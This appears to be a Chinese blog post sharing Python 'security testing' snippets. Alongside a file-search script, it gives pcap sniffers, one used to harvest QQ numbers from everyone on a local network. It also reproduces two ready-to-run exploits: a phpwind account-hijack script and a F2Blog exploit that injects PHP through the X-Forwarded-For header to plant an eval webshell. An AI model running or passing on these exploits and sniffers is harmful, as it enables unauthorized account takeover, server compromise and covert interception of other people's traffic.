Python常用輔助安全測試6個代碼例子

這些代碼,大部分是從別處轉來的。測試的時候會比較有用。比如數據嗅探,發送請求,正則表達式處理文件,注入測試等。
實際中可以根據自己的項目,進行一定程度的擴展。代碼是簡潔爲主。這部分代碼是偏重安全測試的。
學習python已經3月了。感覺非常有用。
前些天,pm還讓我寫一個程序輔助他辦公。

近來發現很多公司也開始在自己的招聘職位上加上了python。
對於python。功能說的太多沒有用,我發一些例子。
我也推薦大家有時間不妨學習一下。一天基本上就可以學會。
外國非常流行。我的pm是德國人,他們國家好像是直接學習python,就像咱們學習c一樣普及。
國外搞python開發的人很多,公司也很多。國內的相對較少。
我學習這個,是爲了輔助工作和玩hack。日常用也很強大。
google有個google app enginer,是個類似虛擬主機的服務。使用python開發web應用。
另外,google本身是基於python的。

大多數應用,都可以使用一個函數搞定,比如文件下載,發送請求,分析網頁,讀寫xml,文件壓縮,爬蟲搜索。
這些應用絕大多數是跨平臺的。可以在linux下運行
ironpyhon是一個組合.net平臺和python的工具,他們正在研究如何利用python把.net放在linux上運行。

諾基亞的手機也開始支持python編程。
java,.net 也開始提供python版本。

下面舉些例子,演示一下python的功能。

1、數據嗅探,這個例子,是嗅探土豆網上的flash真正的播放地址
import pcap ,struct , re
from pickle import dump,load
pack=pcap.pcap()
pack.setfilter('tcp port 80')
regx=r'/[\w+|/]+.flv|/[\w+|/]+.swf'
urls=[]
hosts=[]
print 'start capture....'
for recv_time,recv_data in pack:
    urls=re.findall(regx,recv_data);
    if(len(urls)!=0):print urls;

2、嗅探qq號碼,前些天我還用它嗅探局域網裏所有的qq那。可惜沒有識別性別的功能。不過可以自己添加

# -*- coding: cp936 -*-
import pcap ,struct
pack=pcap.pcap()
pack.setfilter('udp')
key=''
for recv_time,recv_data in pack:
   recv_len=len(recv_data)
   if recv_len == 102 and recv_data[42]== chr(02) and recv_data[101]
== chr(03):
      print struct.unpack('>I',recv_data[49:53])[0]
   elif recv_len == 55:
      print struct.unpack('>I',recv_data[49:53])[0]

3、數據嗅探,項目中遇到,需要嗅探一些發送到特定端口的數據,於是花了幾分鐘寫了一個程序。

import pcap ,struct
from pickle import dump,load
pack=pcap.pcap()
pack.setfilter('port 2425')
f=open(r'/mm.txt','w+')
print 'start capture....'
for recv_time,recv_data in pack:
    print recv_time
    print recv_data
    f.write(recv_data)

3、5   文件內容搜索,我發現windows的自帶的搜索無法搜索內容。即使搜索到也不準。就自己寫了一個

import os,string,re,sys

class SevenFile:
    files=[]
    def FindContent(self,path):
        print 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
        walks=os.walk(path)
        for walk in walks:
            for filename in walk[2]:
                if('.mht' == filename[-4:]):
                    res_taskid=[]
                    file=walk[0]+'\\'+filename
                    f=open(file)
                    content=f.read()
                    pattern_taskid=re.compile(r'Stonehenge-UIVerificationChecklist\.mht',re.IGNORECASE) #
                    res_taskid=pattern_taskid.findall(content)
                    f.close()
                    if len(res_taskid)>0:
                        self.files.append(file)

def run():
    f=SevenFile()
    f.FindContent(r"E:\work\AP\Manual Tests\PSIGTestProject\PSIGTestProject")
    for filepath in f.files:
        print filepath    
    print "OK"

if __name__=="__main__":
    run()

4、這個不是我寫的,是一個網上的***phpwind論壇的一個代碼

# -*- coding: gb2312 -*-
import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)

def usage():
print "Usage:\n"
print " $ ./phpwind.py pwforumurl usertoattack\n"
print " pwforumurl 目標論壇地址如http://www.80sec.com/"
print " usertoattack 目標擁有權限的斑竹或管理員"
print " ***結果將會在目標論壇註冊一個和目標用戶一樣的帳戶"
print " 最新版本可以使用uid登陸"
print " 其他版本可以使用cookie+useragent登陸"
print "########################################################"
print ""

argvs=sys.argv
usage()

data = "regname=%s
%s1&regpwd=@80sec&regpwdrepeat=@80sec&[email protected]&regemailtoall=1&step=2"
% (argvs[2],"%c1")
pwurl = "%s/register.php" % argvs[1]

request = urllib2.Request(
url = pwurl ,
headers = {'Content-Type' : 'application/x-www-form-
urlencoded','User-Agent': '80sec owned this'},
data = data)
f=opener.open(request)
headers=f.headers.dict
cookie=headers["set-cookie"]
try:
if cookie.index('winduser'):
print "Exploit Success!"
print "Login with uid password @80sec or Cookie:"
print cookie
print "User-agent: 80sec owned this"
except:
print "Error! http://www.80sec.com"
print "Connect root#80sec.com"

5、***注入***,針對指定網站的注入演示

#!c:\python24\pyton
# Exploit For F2Blog All Version
# Author BY MSN:[email protected]
# Date: Jan 29 2007

import sys
import httplib
from urlparse import urlparse
from time import sleep

def injection(realurl,path,evil): #url,/bk/,evilip
   cmd=""
   cookie=""
   header={'Accept':'*/*','Accept-Language':'zh-
cn','Referer':'http://'+realurl[1]+path+'index.php','Content-
Type':'application/x-www-form-urlencoded','User-
Agent':useragent,'Host':realurl[1],'Content-length':len(cmd),
         'Connection':'Keep-Alive','X-Forwarded-
For':evil,'Cookie':cookie}
   #cmd =
"formhash=6a49b97f&referer=discuz.php&loginmode=&styleid=&cookietime=2592000&loginfield=username&username=test&password=123456789&questionid=0&answer=&loginsubmit=
%E6%8F%90+%C2%A0+%E4%BA%A4"
   #print header
   #print path
   #sys.exit(1)
   http = httplib.HTTPConnection(realurl[1])
   http.request("POST",path+"index.php",cmd, header)
   sleep(1)
   http1 = httplib.HTTPConnection(realurl[1])
   http1.request("GET",path+"cache/test11.php")
   response = http1.getresponse()
   re1 = response.read()
   #print re1
   print re1.find('test')
   if re1.find('test') ==0:
     print 'Expoilt Success!\n'
     print 'View Your shell:\t%s' %shell
     sys.exit(1);

   else:
     sys.stdout.write("Expoilt FALSE!")
     http.close()
     #sleep(1)
     #break
     sys.stdout.write("\n")

def main ():
print 'Exploit For F2Blog All Version'
print 'Codz by [email protected]\n'
if len(sys.argv) == 2:
   url = urlparse(sys.argv[1])
   if url[2:-1] != '/':
       u = url[2] + '/'
   else:
       u = url[2] #u=/bk/
else:
   print "Usage: %s <url> " % sys.argv[0]
   print "Example: %s http://127.0.0.1/bk" % sys.argv[0]
   sys.exit(0)

print '[+] Connect %s' % url[1]
print '[+] Trying...'
print '[+] Plz wait a long long time...'
global shell,useragent
shell="http://"+url[1]+u+"cache/test11.php"
query ='fputs(fopen(\'cache/test11.php\',\'w+\'),\'<?
@eval($_REQUEST[c])?>test\')'
query ='\'));'+query+';/*'
evilip=query
useragent=""
cookie=""
injection(url,u,evilip)
evilip=""
injection(url,u,evilip)

print '[+] Finished'

if __name__ == '__main__': main()

6、***注入***,這是一個完整的access+asp注入工具。
代碼有點長,自己下載吧。

http://www.xfocus.net/tools/200408/780.html

國外還有更厲害的python注入工具(sqlmap),支持現在基本上所有的數據庫。 MySQL, Oracle, PostgreSQL and Microsoft SQL
Server database management system back-end. Besides these four DBMS,
sqlmap can also identify Microsoft Access, DB2, Informix and Sybase;

自己搜索下載吧。

支持get,post ,cookie注入。可以添加cookie和user-agent
支持盲注,錯誤回顯注入,還有其他多種注入方法。
支持代理,
優化算法,更高效。
指紋識別技術判斷數據庫 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章